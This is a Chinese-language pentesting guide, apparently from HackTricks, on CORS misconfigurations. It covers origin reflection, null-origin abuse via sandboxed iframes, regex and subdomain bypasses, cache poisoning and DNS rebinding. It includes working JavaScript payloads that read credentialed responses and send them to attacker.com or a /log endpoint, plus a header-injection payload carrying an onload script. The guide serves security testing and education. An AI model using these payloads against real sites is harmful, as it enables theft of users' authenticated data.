hacktricks/pentesting-web/cors-bypass.md

27 KiB
Raw Blame History

CORS - 配置错误和绕过

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

{% embed url="https://websec.nl/" %}

什么是CORS

跨源资源共享CORS标准允许服务器定义谁可以访问其资产以及外部来源允许的HTTP请求方法

同源策略要求请求资源的服务器托管资源的服务器共享相同的协议(例如,http://)、域名(例如,internal-web.com)和端口例如80。根据此策略只有来自相同域和端口的网页才被允许访问资源。

http://normal-website.com/example/example.html上下文中应用同源策略的示例如下:

访问的URL 允许访问?
http://normal-website.com/example/ 是:相同的协议、域和端口
http://normal-website.com/example2/ 是:相同的协议、域和端口
https://normal-website.com/example/ 否:不同的协议和端口
http://en.normal-website.com/example/ 否:不同的域
http://www.normal-website.com/example/ 否:不同的域
http://normal-website.com:8080/example/ 否:不同的端口*

*Internet Explorer在执行同源策略时会忽略端口号因此允许此访问。

Access-Control-Allow-Origin 头部

此头部可以允许多个来源、一个**null值,或通配符*。然而,没有浏览器支持多个来源,并且使用通配符*受到限制**。(通配符必须单独使用,不允许与Access-Control-Allow-Credentials: true一起使用。)

此头部是由服务器发出,以响应网站发起的跨域资源请求,浏览器会自动添加一个Origin头部。

Access-Control-Allow-Credentials 头部

默认情况下跨源请求不会携带像cookie或Authorization头部这样的凭据。然而跨域服务器可以通过将Access-Control-Allow-Credentials头部设置为**true**来允许在发送凭据时读取响应。

如果设置为true浏览器将传输凭据cookie、授权头部或TLS客户端证书

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF 预检请求

理解跨域通信中的预检请求

在特定条件下发起跨域请求,比如使用非标准的 HTTP 方法(除了 HEAD、GET、POST 之外的任何方法)、引入新的头部,或者使用特殊的Content-Type 头部值,可能需要进行预检请求。这个初步请求利用**OPTIONS**方法,用于通知服务器即将到来的跨域请求的意图,包括它打算使用的 HTTP 方法和头部。

**跨域资源共享CORS**协议规定了这种预检查,以确定请求的跨域操作的可行性,验证允许的方法、头部以及来源的可信度。要详细了解哪些条件可以避免需要预检请求,请参考Mozilla 开发者网络MDN提供的全面指南。

需要注意的是,缺少预检请求并不意味着响应不需要携带授权头部。没有这些头部,浏览器将无法处理来自跨域请求的响应。

考虑下面这个示例,展示了一个旨在使用 PUT 方法和自定义头部 Special-Request-Header 的预检请求:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

作为响应,服务器可能会返回指示接受的方法、允许的来源以及其他 CORS 策略细节的标头,如下所示:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 该标头指定了实际请求中可以使用的标头。服务器设置此标头以指示来自客户端的请求中允许的标头。
  • Access-Control-Expose-Headers: 通过此标头,服务器通知客户端除了简单响应标头之外哪些标头可以作为响应的一部分公开。
  • Access-Control-Max-Age: 该标头指示预检请求的结果可以被缓存多长时间。服务器设置预检请求返回的信息可以被重用的最长时间(以秒为单位)。
  • Access-Control-Request-Headers: 在预检请求中使用,客户端设置此标头以通知服务器客户端希望在实际请求中使用哪些 HTTP 标头。
  • Access-Control-Request-Method: 该标头也在预检请求中使用,客户端设置此标头以指示实际请求中将使用的 HTTP 方法。
  • Origin: 该标头由浏览器自动设置,指示跨源请求的来源。服务器使用它来评估根据 CORS 策略是否应允许或拒绝传入请求。

请注意,通常(取决于内容类型和设置的标头),在 GET/POST 请求中不会发送预检请求(请求会 直接 发送),但如果要访问响应的 标头/主体,它必须包含一个允许的 Access-Control-Allow-Origin 标头。
因此CORS 不能防止 CSRF但可能有所帮助

本地网络请求预检请求

  1. Access-Control-Request-Local-Network: 此标头包含在客户端的请求中,表示查询针对本地网络资源。它作为一个标记,通知服务器请求源自本地网络。
  2. Access-Control-Allow-Local-Network: 作为响应,服务器使用此标头来传达所请求资源允许与本地网络之外的实体共享。它充当资源跨不同网络边界共享的绿灯,确保在维护安全协议的同时进行受控访问。

允许本地网络请求的有效响应还需要在响应中包含标头 Access-Controls-Allow-Local_network: true

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 请注意Linux 0.0.0.0 IP 地址可用于绕过这些要求,以访问本地主机,因为该 IP 地址不被视为“本地”。

如果使用本地端点的公共 IP 地址(如路由器的公共 IP 地址),也可以绕过本地网络要求。因为在一些情况下,即使访问的是公共 IP,如果是来自本地网络,也会被授予访问权限。 {% endhint %}

可利用的配置错误

观察到将 Access-Control-Allow-Credentials 设置为**true是大多数真实攻击**的先决条件。此设置允许浏览器发送凭据并读取响应,增强了攻击的效果。如果没有这个设置,让浏览器发出请求而不是自己发出请求的好处就会减少,因为利用用户的 cookie 将变得不可行。

异常情况:利用网络位置作为身份验证

存在一种异常情况,即受害者的网络位置充当身份验证形式。这允许利用受害者的浏览器作为代理,绕过基于 IP 的身份验证以访问内部网络应用程序。这种方法在影响上与 DNS 重绑定类似,但更容易利用。

Access-Control-Allow-Origin 中反射 Origin

在现实世界中,Origin 标头的值在 Access-Control-Allow-Origin 中反映的情况在理论上是不太可能的,因为这些标头的组合受到限制。但是,寻求为多个 URL 启用 CORS 的开发人员可能会通过复制 Origin 标头的值动态生成 Access-Control-Allow-Origin 标头。这种方法可能会引入漏洞,特别是当攻击者使用一个旨在看起来合法的域名时,从而欺骗验证逻辑。

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

利用 null 起源

null 起源是为重定向或本地 HTML 文件等情况指定的,具有独特的位置。一些应用程序将此起源列入白名单,以促进本地开发,无意中允许任何网站通过一个沙盒 iframe 模仿 null 起源,从而绕过 CORS 限制。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正则表达式绕过技术

在遇到域名白名单时,测试绕过机会至关重要,例如将攻击者的域名附加到白名单域名中或利用子域接管漏洞。此外,用于域验证的正则表达式可能会忽略域命名约定中的细微差别,从而提供进一步的绕过机会。

高级正则表达式绕过

正则表达式模式通常集中在字母数字、句点(.)和连字符(-)字符上,忽略了其他可能性。例如,设计为包含浏览器和正则表达式模式不同解释的字符的域名可以绕过安全检查。 Safari、Chrome 和 Firefox 对子域中下划线字符的处理展示了如何利用这种差异来规避域验证逻辑。

有关此绕过检查的更多信息和设置: https://www.corben.io/advanced-cors-techniques/ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

从子域内的 XSS 开始

开发人员通常实施防御机制,通过将允许请求信息的域名列入白名单来防范 CORS 利用。尽管采取了这些预防措施,但系统的安全性并非绝对。在白名单域中存在一个易受攻击的子域,可能会通过其他漏洞(如 XSS 跨站脚本攻击)打开 CORS 利用的大门。

举例说明,考虑这样一个场景:域名 requester.com 被列入白名单,以便从另一个域名 provider.com 访问资源。服务器端配置可能如下所示:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

在这个设置中,允许requester.com的所有子域名访问。然而,如果一个子域名,比如sub.requester.com存在XSS漏洞攻击者可以利用这个弱点。例如拥有sub.requester.com访问权限的攻击者可以利用XSS漏洞绕过CORS策略并恶意访问provider.com上的资源。

服务器端缓存投毒

来自这项研究

通过利用HTTP头注入来利用服务器端缓存投毒可能会导致存储的跨站脚本XSS漏洞被诱发。当应用程序未对Origin头部进行非法字符的清理时特别是对于Internet Explorer和Edge用户就会出现这种情况。这些浏览器将(0x0d)视为合法的HTTP头终止符从而导致HTTP头注入漏洞。

考虑以下请求,其中操纵了Origin头部:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer和Edge将响应解释为

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

直接利用这个漏洞通过让浏览器发送一个格式错误的标头来进行攻击是不可行的但可以使用诸如Burp Suite之类的工具手动生成一个精心制作的请求。这种方法可能会导致服务器端缓存保存响应并无意中将其提供给其他人。精心制作的有效负载旨在将页面的字符集更改为UTF-7这是一种与XSS漏洞经常相关联的字符编码因为它能够以一种可以在某些上下文中执行为脚本的方式对字符进行编码。

有关存储型XSS漏洞的更多信息请参阅PortSwigger

注意利用HTTP标头注入漏洞特别是通过服务器端缓存投毒强调了验证和清理所有用户提供的输入包括HTTP标头的重要性。始终采用包括输入验证在内的强大安全模型以防止此类漏洞。

客户端缓存投毒

来自这项研究

在这种情况下观察到一个网页实例在没有适当编码的情况下反映了自定义HTTP标头的内容。具体来说该网页反映了包含在X-User-id标头中的内容其中可能包含恶意JavaScript正如示例中标头包含的SVG图像标签旨在在加载时执行JavaScript代码一样。

跨域资源共享CORS策略允许发送自定义标头。然而由于CORS限制如果响应没有直接由浏览器呈现这种注入的效用可能似乎有限。关键点在于考虑浏览器的缓存行为。如果未指定Vary: Origin标头则可能会导致浏览器缓存恶意响应。随后当导航到URL时这个缓存的响应可能会直接呈现绕过对初始请求的直接呈现的需求。这种机制通过利用客户端缓存增强了攻击的可靠性。

为了说明这种攻击提供了一个JavaScript示例旨在在网页环境中执行例如通过JSFiddle。此脚本执行一个简单的操作它向指定URL发送一个包含恶意JavaScript的自定义标头的请求。在成功完成请求后它尝试导航到目标URL如果响应已被缓存且未正确处理Vary: Origin标头,则可能触发注入脚本的执行。

以下是用于执行此攻击的JavaScript的摘要分解

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

绕过

XSSI (跨站脚本包含) / JSONP

XSSI也称为跨站脚本包含是一种利用脚本标签包含资源时同源策略SOP不适用的漏洞类型。这是因为脚本需要能够从不同的域中包含。这种漏洞允许攻击者访问和读取使用脚本标签包含的任何内容。

当涉及到动态JavaScript或JSONP带填充的JSON特别是当使用像 cookie 这样的环境权限信息进行身份验证时,这种漏洞变得特别重要。当从不同主机请求资源时,会包括 cookie使其对攻击者可访问。

为了更好地理解和缓解这种漏洞,您可以使用 https://github.com/kapytein/jsonp 上提供的 BurpSuite 插件。该插件可以帮助识别和解决您的 Web 应用程序中潜在的 XSSI 漏洞。

在此处阅读有关不同类型 XSSI 及如何利用它们的更多信息。

尝试在请求中添加一个 callback 参数。也许页面已准备将数据发送为 JSONP。在这种情况下页面将以 Content-Type: application/javascript 返回数据,从而绕过 CORS 策略。

简单(无用?)绕过

绕过 Access-Control-Allow-Origin 限制的一种方法是请求 Web 应用程序代表您发出请求并返回响应。然而,在这种情况下,由于请求是发送到不同的域,最终受害者的凭据不会被发送。

  1. CORS-escape:此工具提供一个代理,转发您的请求及其标头,同时欺骗 Origin 标头以匹配请求的域。这有效地绕过了 CORS 策略。以下是使用 XMLHttpRequest 的示例用法:
  2. simple-cors-escape:此工具提供了另一种代理请求的替代方法。服务器不会原样传递您的请求,而是使用指定的参数发出自己的请求。

Iframe + 弹出窗口绕过

您可以通过创建一个 iframe然后从中打开一个新窗口绕过 CORS 检查,例如 e.origin === window.origin。有关更多信息,请参阅以下页面:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

通过 TTL 进行 DNS 重绑定

通过 TTL 进行 DNS 重绑定是一种利用操纵 DNS 记录绕过某些安全措施的技术。其工作原理如下:

  1. 攻击者创建一个网页,使受害者访问它。
  2. 然后,攻击者更改自己域的 DNSIP以指向受害者的网页。
  3. 受害者的浏览器缓存 DNS 响应,其中可能有 TTL生存时间指示 DNS 记录应被视为有效的时间。
  4. 当 TTL 到期时,受害者的浏览器会发出新的 DNS 请求,使攻击者能够在受害者页面上执行 JavaScript 代码。
  5. 通过控制受害者的 IP攻击者可以从受害者那里获取信息而无需向受害者服务器发送任何 cookie。

需要注意的是,浏览器具有缓存机制,即使 TTL 值较低,也可能阻止立即滥用此技术。

DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用户或机器人在同一页面停留较长时间的情况,从而使缓存过期。

如果需要快速滥用 DNS 重绑定,可以使用 https://lock.cmpxchg8b.com/rebinder.html 等服务。

要运行自己的 DNS 重绑定服务器,可以利用类似 DNSrebinder (https://github.com/mogwailabs/DNSrebinder) 的工具。这涉及暴露本地端口 53/udp创建指向它的 A 记录(例如 ns.example.com并创建指向先前创建的 A 子域的 NS 记录(例如 ns.example.com。然后ns.example.com 子域的任何子域都将由您的主机解析。

您还可以在 http://rebind.it/singularity.html 上探索一个公开运行的服务器,以进一步了解和实验。

通过 DNS 缓存洪泛 进行 DNS 重绑定

通过 DNS 缓存洪泛进行 DNS 重绑定是另一种绕过浏览器缓存机制并强制进行第二个 DNS 请求的技术。其工作原理如下:

  1. 最初,当受害者发出 DNS 请求时,会收到攻击者的 IP 地址作为响应。
  2. 为了绕过缓存防御,攻击者利用服务工作者。服务工作者会洪泛 DNS 缓存,有效删除缓存的攻击者服务器名称。
  3. 当受害者的浏览器发出第二个 DNS 请求时,现在会收到 IP 地址 127.0.0.1 作为响应,通常指向本地主机。

通过使用服务工作者洪泛 DNS 缓存,攻击者可以操纵 DNS 解析过程,并迫使受害者的浏览器发出第二个请求,这次解析为攻击者所需的 IP 地址。

通过 缓存 进行 DNS 重绑定

绕过缓存防御的另一种方法是利用 DNS 提供商为同一子域提供多个 IP 地址。其工作原理如下:

  1. 攻击者为 DNS 提供商的同一子域设置两个 A 记录(或一个具有两个 IP 的 A 记录)。
  2. 当浏览器检查这些记录时,会收到两个 IP 地址。
  3. 如果浏览器决定首先使用攻击者的 IP 地址,攻击者可以提供执行 HTTP 请求到同一域的有效载荷。
  4. 但是,一旦攻击者获得受害者的 IP 地址,他们将停止响应受害者的浏览器。
  5. 当浏览器意识到域名无响应时,会继续使用给定的第二个 IP 地址。
  6. 通过访问第二个 IP 地址浏览器绕过了同源策略SOP使攻击者能够滥用此功能并获取和外泄受害者的信息。

该技术利用了浏览器在为域提供多个 IP 地址时的行为。通过策略性地控制响应并操纵浏览器选择的 IP 地址,攻击者可以利用 SOP 并从受害者那里访问信息。

{% hint style="warning" %} 请注意,为了访问 localhost您应尝试在 Windows 中重新绑定 127.0.0.1,在 Linux 中重新绑定 0.0.0.0
像 godaddy 或 cloudflare 这样的提供商不允许我使用 IP 0.0.0.0,但 AWS route53 允许我创建一个具有 2 个 IP 的 A 记录,其中一个是 "0.0.0.0"

{% endhint %}

有关更多信息,请查看 https://unit42.paloaltonetworks.com/dns-rebinding/

其他常见绕过方式

  • 如果不允许内部IP,可能会忘记禁止0.0.0.0适用于Linux和Mac
  • 如果不允许内部IP,可以响应CNAMElocalhost适用于Linux和Mac
  • 如果不允许内部IP作为DNS响应可以响应CNAMEs到内部服务如www.corporate.internal。

DNS Rebinding武器化

您可以在DEF CON 27会议中的Gerald Doussot - DNS Rebinding攻击的现状和起源的独特性中找到有关先前绕过技术以及如何使用以下工具的更多信息。

起源的独特性是一个执行DNS rebinding攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击软件所需的组件。

针对DNS Rebinding的真实保护

工具

模糊CORS策略中可能的配置错误

参考资料

{% embed url="https://websec.nl/" %}

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式